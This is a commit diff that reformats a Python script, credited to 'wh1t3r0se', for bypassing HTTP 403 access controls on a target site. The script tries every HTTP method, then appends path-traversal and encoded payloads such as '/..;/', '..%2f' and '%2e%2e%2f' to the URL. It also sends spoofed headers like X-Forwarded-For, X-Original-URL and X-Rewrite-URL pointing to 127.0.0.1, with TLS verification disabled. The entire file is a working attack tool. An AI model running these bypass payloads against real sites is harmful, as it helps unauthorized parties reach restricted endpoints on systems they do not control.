|
11 | 11 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) |
12 | 12 | domain = sys.argv[1] |
13 | 13 | path = sys.argv[2] |
14 | | -url=domain+path |
| 14 | +url = domain + path |
15 | 15 |
|
16 | | -print(Style.BRIGHT + Fore.BLUE + |
17 | | - """ |
| 16 | +print( |
| 17 | + Style.BRIGHT |
| 18 | + + Fore.BLUE |
| 19 | + + """ |
18 | 20 | ___ _______ ______ ______ _______ _______ _______ _______ _______ _______ |
19 | 21 | / ) ( __ )/ ___ \ ( ___ \ |\ /|( ____ )( ___ )( ____ \( ____ \( ____ \( ____ ) |
20 | 22 | / /) | | ( ) |\/ \ \ | ( ) )( \ / )| ( )|| ( ) || ( \/| ( \/| ( \/| ( )| |
|
25 | 27 | (_) (_______)\______/ |/ \___/ \_/ |/ |/ \|\_______)\_______)(_______/|/ \__/ |
26 | 28 | |
27 | 29 | By wh1t3r0se |
28 | | - """ ) |
| 30 | + """ |
| 31 | +) |
29 | 32 |
|
30 | 33 | print(Style.BRIGHT + Fore.RED + "Using different methods " + "\n") |
31 | | -res1=requests.get(url, allow_redirects=False, verify=False, timeout= 5) |
32 | | -print(Style.BRIGHT + Fore.GREEN + "using GET :" + "\t" + Fore.YELLOW + str(res1.status_code)) |
33 | | -res2=requests.post(url, allow_redirects=False, verify=False, timeout= 5) |
34 | | -print(Style.BRIGHT + Fore.GREEN +"using POST :" + "\t" + Fore.YELLOW + str(res2.status_code)) |
35 | | -res3=requests.head(url, allow_redirects=False, verify=False, timeout= 5) |
36 | | -print(Style.BRIGHT + Fore.GREEN + "using HEAD :" + "\t" + Fore.YELLOW+ str(res3.status_code)) |
37 | | -res4=requests.put(url, allow_redirects=False, verify=False, timeout= 5) |
38 | | -print(Style.BRIGHT + Fore.GREEN +"using PUT : "+ "\t" + Fore.YELLOW + str(res4.status_code)) |
39 | | -res5=requests.delete(url, allow_redirects=False, verify=False, timeout= 5) |
40 | | -print(Style.BRIGHT + Fore.GREEN +"using DELETE :"+ "\t" + Fore.YELLOW+str(res5.status_code)) |
41 | | -res6=requests.patch(url, allow_redirects=False, verify=False, timeout= 5) |
42 | | -print(Style.BRIGHT + Fore.GREEN +"using PATCH :" + "\t" + Fore.YELLOW+ str(res6.status_code)) |
| 34 | +res1 = requests.get(url, allow_redirects=False, verify=False, timeout=5) |
| 35 | +print( |
| 36 | + Style.BRIGHT |
| 37 | + + Fore.GREEN |
| 38 | + + "using GET :" |
| 39 | + + "\t" |
| 40 | + + Fore.YELLOW |
| 41 | + + str(res1.status_code) |
| 42 | +) |
| 43 | +res2 = requests.post(url, allow_redirects=False, verify=False, timeout=5) |
| 44 | +print( |
| 45 | + Style.BRIGHT |
| 46 | + + Fore.GREEN |
| 47 | + + "using POST :" |
| 48 | + + "\t" |
| 49 | + + Fore.YELLOW |
| 50 | + + str(res2.status_code) |
| 51 | +) |
| 52 | +res3 = requests.head(url, allow_redirects=False, verify=False, timeout=5) |
| 53 | +print( |
| 54 | + Style.BRIGHT |
| 55 | + + Fore.GREEN |
| 56 | + + "using HEAD :" |
| 57 | + + "\t" |
| 58 | + + Fore.YELLOW |
| 59 | + + str(res3.status_code) |
| 60 | +) |
| 61 | +res4 = requests.put(url, allow_redirects=False, verify=False, timeout=5) |
| 62 | +print( |
| 63 | + Style.BRIGHT |
| 64 | + + Fore.GREEN |
| 65 | + + "using PUT : " |
| 66 | + + "\t" |
| 67 | + + Fore.YELLOW |
| 68 | + + str(res4.status_code) |
| 69 | +) |
| 70 | +res5 = requests.delete(url, allow_redirects=False, verify=False, timeout=5) |
| 71 | +print( |
| 72 | + Style.BRIGHT |
| 73 | + + Fore.GREEN |
| 74 | + + "using DELETE :" |
| 75 | + + "\t" |
| 76 | + + Fore.YELLOW |
| 77 | + + str(res5.status_code) |
| 78 | +) |
| 79 | +res6 = requests.patch(url, allow_redirects=False, verify=False, timeout=5) |
| 80 | +print( |
| 81 | + Style.BRIGHT |
| 82 | + + Fore.GREEN |
| 83 | + + "using PATCH :" |
| 84 | + + "\t" |
| 85 | + + Fore.YELLOW |
| 86 | + + str(res6.status_code) |
| 87 | +) |
43 | 88 | print(Style.BRIGHT + Fore.RED + "Using payloads at end of URL " + "\n") |
44 | | -payloads = ["/","/*","/%2f/","/./","./.","/*/","?","??","&","#","%","%20","%09","/..;/","../","..%2f","..;/",".././","..%00/","..%0d","..%5c","..%ff/","%2e%2e%2f",".%2e/","%3f","%26","%23",".json"] |
| 89 | +payloads = [ |
| 90 | + "/", |
| 91 | + "/*", |
| 92 | + "/%2f/", |
| 93 | + "/./", |
| 94 | + "./.", |
| 95 | + "/*/", |
| 96 | + "?", |
| 97 | + "??", |
| 98 | + "&", |
| 99 | + "#", |
| 100 | + "%", |
| 101 | + "%20", |
| 102 | + "%09", |
| 103 | + "/..;/", |
| 104 | + "../", |
| 105 | + "..%2f", |
| 106 | + "..;/", |
| 107 | + ".././", |
| 108 | + "..%00/", |
| 109 | + "..%0d", |
| 110 | + "..%5c", |
| 111 | + "..%ff/", |
| 112 | + "%2e%2e%2f", |
| 113 | + ".%2e/", |
| 114 | + "%3f", |
| 115 | + "%26", |
| 116 | + "%23", |
| 117 | + ".json", |
| 118 | +] |
45 | 119 | for payload in payloads: |
46 | | - try: |
47 | | - url2=url+payload |
48 | | - res7=requests.get(url2, allow_redirects=False , verify=False, timeout=5) |
49 | | - print(Style.BRIGHT + Fore.GREEN + url2 + " : "+ Fore.YELLOW + str(res7.status_code)) |
50 | | - except: |
51 | | - pass |
52 | | -print(Style.BRIGHT + Fore.RED + "Using different headers " + "\n") |
53 | | -res8=requests.get(url, headers={'X-Forwarded-For':'127.0.0.1'} , allow_redirects=False , verify=False) |
54 | | -print(Style.BRIGHT + Fore.GREEN + "X-Forwarded-For" + " : "+ Fore.YELLOW + str(res8.status_code)) |
| 120 | + try: |
| 121 | + url2 = url + payload |
| 122 | + res7 = requests.get(url2, allow_redirects=False, verify=False, timeout=5) |
| 123 | + print( |
| 124 | + Style.BRIGHT |
| 125 | + + Fore.GREEN |
| 126 | + + url2 |
| 127 | + + " : " |
| 128 | + + Fore.YELLOW |
| 129 | + + str(res7.status_code) |
| 130 | + ) |
| 131 | + except: |
| 132 | + pass |
| 133 | +print(Style.BRIGHT + Fore.RED + "Using different headers " + "\n") |
| 134 | +res8 = requests.get( |
| 135 | + url, headers={"X-Forwarded-For": "127.0.0.1"}, allow_redirects=False, verify=False |
| 136 | +) |
| 137 | +print( |
| 138 | + Style.BRIGHT |
| 139 | + + Fore.GREEN |
| 140 | + + "X-Forwarded-For" |
| 141 | + + " : " |
| 142 | + + Fore.YELLOW |
| 143 | + + str(res8.status_code) |
| 144 | +) |
55 | 145 |
|
56 | | -res9=requests.get(url, headers={'X-Forwarded-Host':'127.0.0.1'} , allow_redirects=False , verify=False) |
57 | | -print(Style.BRIGHT + Fore.GREEN + "X-Forwarded-Host" + " : "+ Fore.YELLOW + str(res9.status_code)) |
| 146 | +res9 = requests.get( |
| 147 | + url, headers={"X-Forwarded-Host": "127.0.0.1"}, allow_redirects=False, verify=False |
| 148 | +) |
| 149 | +print( |
| 150 | + Style.BRIGHT |
| 151 | + + Fore.GREEN |
| 152 | + + "X-Forwarded-Host" |
| 153 | + + " : " |
| 154 | + + Fore.YELLOW |
| 155 | + + str(res9.status_code) |
| 156 | +) |
58 | 157 |
|
59 | | -res10=requests.get(url, headers={'X-Host':'127.0.0.1'} , allow_redirects=False , verify=False) |
60 | | -print(Style.BRIGHT + Fore.GREEN + "X-Host" + " : "+ Fore.YELLOW + str(res10.status_code)) |
| 158 | +res10 = requests.get( |
| 159 | + url, headers={"X-Host": "127.0.0.1"}, allow_redirects=False, verify=False |
| 160 | +) |
| 161 | +print( |
| 162 | + Style.BRIGHT + Fore.GREEN + "X-Host" + " : " + Fore.YELLOW + str(res10.status_code) |
| 163 | +) |
61 | 164 |
|
62 | | -res11=requests.get(url, headers={'X-Custom-IP-Authorization':'127.0.0.1'} , allow_redirects=False , verify=False) |
63 | | -print(Style.BRIGHT + Fore.GREEN + "X-Custom-IP-Authorization" + " : "+ Fore.YELLOW + str(res11.status_code)) |
| 165 | +res11 = requests.get( |
| 166 | + url, |
| 167 | + headers={"X-Custom-IP-Authorization": "127.0.0.1"}, |
| 168 | + allow_redirects=False, |
| 169 | + verify=False, |
| 170 | +) |
| 171 | +print( |
| 172 | + Style.BRIGHT |
| 173 | + + Fore.GREEN |
| 174 | + + "X-Custom-IP-Authorization" |
| 175 | + + " : " |
| 176 | + + Fore.YELLOW |
| 177 | + + str(res11.status_code) |
| 178 | +) |
64 | 179 |
|
65 | | -res12=requests.get(url, headers={'X-Original-URL':'127.0.0.1'} , allow_redirects=False , verify=False) |
66 | | -print(Style.BRIGHT + Fore.GREEN + "X-Original-URL" + " : "+ Fore.YELLOW + str(res12.status_code)) |
| 180 | +res12 = requests.get( |
| 181 | + url, headers={"X-Original-URL": "127.0.0.1"}, allow_redirects=False, verify=False |
| 182 | +) |
| 183 | +print( |
| 184 | + Style.BRIGHT |
| 185 | + + Fore.GREEN |
| 186 | + + "X-Original-URL" |
| 187 | + + " : " |
| 188 | + + Fore.YELLOW |
| 189 | + + str(res12.status_code) |
| 190 | +) |
67 | 191 |
|
68 | | -res13=requests.get(url, headers={'X-Originating-IP':'127.0.0.1'} , allow_redirects=False , verify=False) |
69 | | -print(Style.BRIGHT + Fore.GREEN + "X-Originating-IP" + " : "+ Fore.YELLOW + str(res13.status_code)) |
| 192 | +res13 = requests.get( |
| 193 | + url, headers={"X-Originating-IP": "127.0.0.1"}, allow_redirects=False, verify=False |
| 194 | +) |
| 195 | +print( |
| 196 | + Style.BRIGHT |
| 197 | + + Fore.GREEN |
| 198 | + + "X-Originating-IP" |
| 199 | + + " : " |
| 200 | + + Fore.YELLOW |
| 201 | + + str(res13.status_code) |
| 202 | +) |
70 | 203 |
|
71 | | -res14=requests.get(url, headers={'X-Remote-IP':'127.0.0.1'} , allow_redirects=False , verify=False) |
72 | | -print(Style.BRIGHT + Fore.GREEN + "X-Remote-IP" + " : "+ Fore.YELLOW + str(res14.status_code)) |
| 204 | +res14 = requests.get( |
| 205 | + url, headers={"X-Remote-IP": "127.0.0.1"}, allow_redirects=False, verify=False |
| 206 | +) |
| 207 | +print( |
| 208 | + Style.BRIGHT |
| 209 | + + Fore.GREEN |
| 210 | + + "X-Remote-IP" |
| 211 | + + " : " |
| 212 | + + Fore.YELLOW |
| 213 | + + str(res14.status_code) |
| 214 | +) |
73 | 215 |
|
74 | | -url3=domain+"/dev/null" |
75 | | -url4=domain+path |
76 | | -res15=requests.get(url3, headers={'X-Rewrite-URL':url4} , allow_redirects=False , verify=False) |
77 | | -print(Style.BRIGHT + Fore.GREEN + "X-Rewrite-URL" + " : "+ Fore.YELLOW + str(res15.status_code)) |
| 216 | +url3 = domain + "/dev/null" |
| 217 | +url4 = domain + path |
| 218 | +res15 = requests.get( |
| 219 | + url3, headers={"X-Rewrite-URL": url4}, allow_redirects=False, verify=False |
| 220 | +) |
| 221 | +print( |
| 222 | + Style.BRIGHT |
| 223 | + + Fore.GREEN |
| 224 | + + "X-Rewrite-URL" |
| 225 | + + " : " |
| 226 | + + Fore.YELLOW |
| 227 | + + str(res15.status_code) |
| 228 | +) |
78 | 229 |
|
79 | | -print(Style.BRIGHT + Fore.RED + "finished automating . begin manual check . good luck " + "\n") |
| 230 | +print( |
| 231 | + Style.BRIGHT |
| 232 | + + Fore.RED |
| 233 | + + "finished automating . begin manual check . good luck " |
| 234 | + + "\n" |
| 235 | +) |
0 commit comments